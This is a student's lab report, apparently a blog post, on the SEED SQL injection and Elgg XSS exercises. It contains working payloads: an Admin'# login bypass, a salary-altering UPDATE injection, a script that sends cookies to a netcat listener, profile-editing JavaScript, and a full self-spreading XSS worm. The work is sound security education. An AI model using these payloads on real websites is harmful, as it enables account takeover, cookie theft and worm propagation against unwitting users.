emeraldy

博客园 首页 新随笔 联系 订阅 管理

20242903 2024-2025-2 《网络攻防实践》实践10报告

目录

1. 实践内容

1.1SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2. 实践过程

2.1 任务一:SQL注入攻击与防御

  1. 环境配置

    下载谷歌云盘的seedubuntu-16.04版本的资源,打开打开 vmdk文件

    随后更改主机名为yx2903
  2. SQL语句回顾
    输入指令mysql -u root -p后再输入密码seedubuntu即可登录数据库

    随后输入show databases;指令查看mysql中已经有的数据库

随后输入指令use Users;show tables;切换为Users数据库并查看里面的数据,这里是有credential表的

输入select * from credential;查看credential中的所有条目;

最后输入指令select * from credential where Name = 'Admin'; 查询Name为Admin的相关记录

3. ​SELECT语句SQL注入攻击
在浏览器中输入www.SEEDLabSQLInjection.com 进入网页后可以看到如下界面

随便输入用户名密码,这里输入的yx和2903,随后F12打开开发者工具,发现登录过程中是使用 get请求访问 unsafe_home.php

随后打开unsafe_home.php文件对代码进行观察

可以看到针对普通用户和admin用户有不同的处理方式,如果用户是Admin,那么就会出现所有用户的信息


而根据语句$sql = "SELEcT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= 'Sinput uname' and Password='shashed pwd'未过滤用户输入​:直接将用户输入(如$input uname)拼接到SQL语句中,并且因为#的存在,当用户输入 Admin'# 时,实际执行的SQL变为:SELECT ... FROM CREDENTIAL WHERE name='Admin'#' 只要数据库中存在用户名为Admin的记录,攻击者即可绕过密码验证,直接获取管理员权限

根据此思路构造用户名Admin'#,密码随便输入后即可看到User Details的界面

4. update语句SQL注入攻击
直接从admin账户这儿进入edit profile界面,查看网页源代码,可以看到依旧是以 get 方式将数据发到 unsafe_edit_backend.php 页面

因此打开这个文件,可以看到有关update相关的代码如下

我们需要注入的sql语句为UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;构造 $input_nickname 的值来进行SQL注入攻击。使 $input_nickname 的值等于 ', Salary='29032903' where name='Admin'

Admin的工资金额被改为29032903

5. 漏洞修复
针对上述漏洞,更改unsafe_home.php中的语句为如下

2.2 任务二:SEED XSS跨站脚本攻击

  1. 警报窗口显示
    登录网址http://www.xsslabelgg.com,使用使用alice的账号登陆

    点击头像后进入edit profile界面


    随后在Brief description中输入XSS攻击代码,点击保存

    随后登录boby的账号,点击more中的members后可以发现弹出警告弹窗为2903
  2. cookie信息显示
    再次登录Alice的账号,将Brief description中的信息更改为<script> alert(document.cookie);</script>后点击保存即可弹出cookie信息
  3. 窃取cookie信息
    当javascript插入img标签时,网站会尝试从src字段中的URL中加载图片。因此我们可以编写代码<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>插入brief description中,随后输入指令nc -l 5555 -v监听端口5555


    此时退出Alice账户,登录boby账户来查看Alice界面后可以看到成功窃取到了boby的cookie
  4. 添加受害者为朋友
    使用alice的账号登录后查看boby的界面,点击addfriend后查看给出的信息,附带了id,时间戳和token三个参数,其中boby的id为45

    根据这条URL构造payload,在about me中填写如下代码后保存

    可以看到添加好友成功
  5. 修改受害者的个人信息
    在Alice用户profile的About Me中,填写如下代码然后保存
<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>This have been cracked by 2903yx.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=44;    
	if(elgg.session.user.guid!=aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>


之后推出alice的账户来到boby的账户,这里可以看到为空

之后boby再次访问alice的主页,之后再查看自己主页发现个人信息已经被强制更改

5. ​XSS蠕虫病毒
同4一样在Alice用户profile的About Me中,填写如下代码然后保存

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>2903 yx"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var aliceGuid=44;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>


随后boby登录账户,这里的boby中是没有相关介绍信息的

boby访问Alice主页后可以看到信息已经被修改


使用Samy访问boby主页后同样也被修改,蠕虫病毒生效了


6. ​XSS攻击防治
登录Admin账号后找到plugin

找到插件 HTMLawed 并将其设为 Deactivate 状态

重新登陆boby账号并模拟进行XSS攻击后发现攻击失败

3.遇到的问题及解决方法

一开始mysql语句已经遗忘,输入后忘记加";"以为是自己的数据库出了什么问题

后面复习了知识后加上得以解决

4.实践总结

本次实验以SQL注入与XSS跨站脚本攻击为核心,从漏洞利用到防御修复构建了完整的攻防认知体系。通过构造Admin'#注入攻击绕过密码验证,深刻理解了动态拼接SQL语句时单引号闭合与注释符#绕过权限校验的致命缺陷,在UPDATE语句攻击中进一步验证了未过滤输入导致的非授权数据篡改风险。XSS实验从弹窗警告、Cookie窃取逐步升级到自动化蠕虫编写,揭示了恶意脚本通过用户输入嵌入、存储与传播的完整链条。实验过程中,使用MySQL命令行验证漏洞、通过浏览器开发者工具抓取请求响应、借助netcat监听端口实现数据截取,强化了对渗透测试工具链的熟练度。

5.参考文献

https://www.cnblogs.com/shallwe741/p/18876727

posted on 2025-05-21 16:48  emarldy  阅读(43)  评论(0)    收藏  举报